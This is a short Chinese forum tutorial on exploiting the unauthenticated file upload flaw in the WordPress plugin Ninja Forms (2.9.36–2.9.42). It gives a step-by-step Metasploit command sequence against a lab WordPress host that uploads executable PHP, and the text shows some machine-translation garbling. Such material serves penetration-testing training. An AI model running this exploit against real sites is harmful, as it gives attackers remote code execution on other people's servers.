渗透测试实战教程：利用WordPress插件Ninja Forms的文件上传漏洞进行渗透测试
zevseo 长老 353 0
Ninja Forms插件的2.9.36到2.9.42版包含一个未经身份验证的文件上传漏洞，允许访客上传可在Web服务器上下文中执行的任意PHP代码。
利用目标
忍者形成2.9.36
需求
攻击者：kali Linux
受害者PC：wordpress
打开Kali终端类型 msfconsole
现在输入 exploit use / unix / webapp / wp_ninja_forms_unauthenticated_file_upload
msf exploit (wp_ninja_forms_unauthenticated_file_upload)>set targeturi /wordpress/
msf exploit (wp_ninja_forms_unauthenticated_file_upload)>set rhost 192.168.0.106 (IP of Remote Host)
msf exploit (wp_ninja_forms_unauthenticated_file_upload)>set form_path /test/
msf exploit (wp_ninja_forms_unauthenticated_file_upload)>set rport 80
msf exploit (wp_ninja_forms_unauthenticated_file_upload)>exploit
黑客安全资讯
Web安全渗透测试培训
代码审计
渗透测试工具
命令执行漏洞
知识问答
原创投稿
文件上传漏洞
逆向与编程
